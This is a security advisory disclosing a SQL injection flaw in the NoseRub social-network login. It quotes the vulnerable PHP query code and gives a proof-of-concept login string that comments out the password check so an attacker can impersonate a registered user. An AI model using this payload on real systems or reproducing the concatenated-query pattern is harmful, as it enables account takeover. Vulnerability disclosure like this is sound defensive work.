Advisory: NoseRub Login SQL Injection Vulnerability
Affected Versions: <= 0.5.2
Fixed Versions: current SVN
Risk: critical
Vendor URL: http://noserub.com
Vendor Status: informed, fixed version will be released soon
Advisory URL: http://seclog.de/pub/seclog-2007-001.txt
Advisory Status: public
Author: Felix Groebert <felix AT groebert DOT org>
Revision: 2007-12-26
Introduction
============
NoseRub is a protocol for and a sample implementation of a decentralized
social network.
Vulnerability
=============
The login script fails to validate user input. It is possible to insert
double quotes in order to escape the following SQL query:
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/USERNAME"
AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1
The query is generated at the end of the function check() in
app/models/identity.php:
return $this->find(array('Identity.hash' => '',
'Identity.username = "'. $username .'"',
'Identity.password' => md5($data['Identity']['password'])));
Proof of Concept
================
The SQL injection bug can be exploited by impersonating a registered user.
Go to: http://www.example.com/noserub/pages/login/
Login as: somereallogin " -- "
Password: unknownpassword
This results in the following SQL query, commenting out the fourth and fifth
lines using double dashes, thus maintaining valid SQL syntax.
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/somereallogin"
-- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b'
LIMIT 1
Recommendation
==============
It is recommended to upgrade to NoseRub > 0.5.2.
A preliminary patched version of the affected file can be downloaded from
SVN revision 515:
http://noserub.googlecode.com/svn/trunk/app/models/identity.php
